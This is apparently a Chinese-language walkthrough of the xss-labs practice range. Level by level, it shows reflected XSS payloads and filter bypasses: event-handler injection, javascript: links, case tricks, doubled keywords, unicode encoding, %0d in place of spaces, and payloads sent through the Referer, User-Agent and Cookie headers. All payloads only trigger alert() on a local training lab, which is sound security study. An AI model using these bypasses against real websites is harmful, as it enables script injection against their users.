xss-labs靶场练习
xss-labs靶场练习
Level 1
观察url的构造,这里是向服务器提交了个名为name
的参数,值为text
,并且值和值的长度都在页面有回显。
查看网页源码
name参数的值直接插入到了
标签之中。那么这样看来这一关主要就是考察反射型XSS。payload:name=<script>alert('xss')</script>
Level 2
从url地址来看,依然是get方式传递参数,所以猜测考察的还是反射型XSS。只不过这一关将参数名换成了keyword。
查看页面源码
这里有两个地方回显值的地方,利用第一关的payload试试
观察源码,第一处回显处的特殊字符被编码了,不能利用,第二处的回显处可以完整的回显值,可以利用这里构造payload,
这里需要构造闭合
"><script>alert('xss')</script>
Level 3
url构造同上一关
页面源码和上一关的差不多,只是双引号变成单引号
尝试构造payload:
'><script>alert('xss')</script>
发现并没有弹窗,继续观察源码
发现这关的<,>被编码成了html实体。经过查看php文件,在这两处都用htmlspecialchars()函数进行了处理。
所以这里不能用含有<>的payload
这里可以通过<input>
标签的一些特殊事件来执行js代码:
' onmouseover=javascript:alert(1) '
Level 4
查看源码
这一关只是把上一关的单引号变成了双引号,payload构造如下
" onmouseover=javascript:alert(1) "
Level 5
查看页面源码
这和上一关的源码差不多,直接用上一关的payload,无法弹窗
发现onmouseover
变成了o_nmouseover
,经过测试<script>
和onclick
也被_分隔了
这里不用<input>
标签了,把它闭合掉,用a标签试试
"><a href="javascript:alert(1)">link</a> <"
点击link弹窗。进入下一关
Level 6
源码和上一关差不多
尝试使用上一关的payload,并没有出现弹窗
发现这里的href
也被_
分隔了
因为html对大小写不敏感,即不区分大小写,这里可以试试下面的payload
"><a Href="javascript:alert(111)">link</a> <"
点击link弹窗。进入下一关
Level 7
页面源码与上一关的雷同,用上一关的payload:"><a Href="javascript:alert(1)">link</a> <"
试试
发现这里过滤了script
和href
,可以用双写绕过,即在script里面再插入一个script,如scrscriptipt
,
当script被过滤后,剩下的拼接起来刚好能组合成script,href也同理
payload
"><a hRhrefef="javascriscriptpt:alert('111')">link</a><"
点击link弹窗。进入下一关
Level 8
这关多了一个“友情链接”,按照套路,这里应该是利用点
首先先查看页面源码
回显值的地方有两个,用上一关的payload试试水
可以发现,第一个回显处被htmlspecialchars()函数进行了处理,第二个回显处href和script都被_
分隔了
可以对第二处进行构造payload
javascript:alert(1)
这里的scrpit会被分隔,所以将它进行unicode编码
javascript:alert(1)
点击友情链接
即可弹窗
Level 9
查看源码
这里显示链接不合法,经过测试,提交的内容里只要含有http://
就合法,https://不行
尝试payload : javascript:alert(http://)
发现script被分隔了,可以将script进行unicode编码绕过
javascript:alert('http://')
点击友情链接
即可弹窗
Level 10
传递keyword值为<script>alert(111)</script>
进行测试
可以看到回显值的地方被htmlspecialchars()函数进行了处理,还有三个隐藏的输入框,尝试向它们传值
?keyword=1111&t_link=222&t_history=333&t_sort=444
发现t_sort有回显,在这里构造payload
t_sort=" onmouseover=javascript:alert(1) " type="text
Level 11
这关的页面源码和上一关的雷同,多了个隐藏的输入框t_ref
,value值为上一关的url
这里可以猜测,这个参数的值,是来源于请求头Referer,通过referer来传入payload
" onmouseover=javascript:alert(1) " type="text
可以弹窗进入下一关
Level 12
这一关又多了个隐藏的输入框t_ua
,看它的值可以知道它的值来源于User-Agent
通过User-Agent传入上一关的payload即可弹窗
Level 13
查看页面源码,发现这次的隐藏输入框是t_cook
,它的值是来自Cookies
同样的套路,吧上一关的payload加到cookie即可
成功弹窗进入下一关
Level 14
这一关是Exif xss,php的exif_read_data
函数读出exif信息,读出的值直接未经过滤的输出,就会导致Xss的发生。
网站打不开,这关跳过
Level 15
查看源码发现angular.min.js
URL的src参数回显在下面的ng-include
ng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS。
在本地写个html文件,把地址传给src即可
<input type="text" name="" onclick=alert('xss')>
http://localhost/xss-labs/level15.php?src="http://localhost/2.html"
Level 16
观察url构造,发现这一关是通过get一个keyword来传递参数
参数值回显在<center>
标签中,使用<img>
标签来弹窗
<img src='' onerror=alert(111)>
http://localhost/xss-labs/level16.php?keyword=<img src='' onerror=alert(111)>
传值后没有弹窗,观察页面源码得知,空格被转义了
空格可以用%20 %09 %0a %0b %0c %0d %a0 %00
代替,经过测试%0d
可以用
所以payload为
http://localhost/xss-labs/level16.php?keyword=<img%0dsrc=''%0donerror=alert(111)>
弹窗成功
Level 17
这有个flash,但是这关和它没有关系
发现url有个?arg01=a&arg02=b,再观察一下页面源码
发现两个参数的值回显在<embed>
标签中,可以通过构该标签的特殊事件进行弹窗
?arg01=a%0aonmouseover&arg02=alert(1)
Level 18
这一关的页面源码和上一关的没什么区别,直接用上一关的payload即可
Level 19/20
摆烂!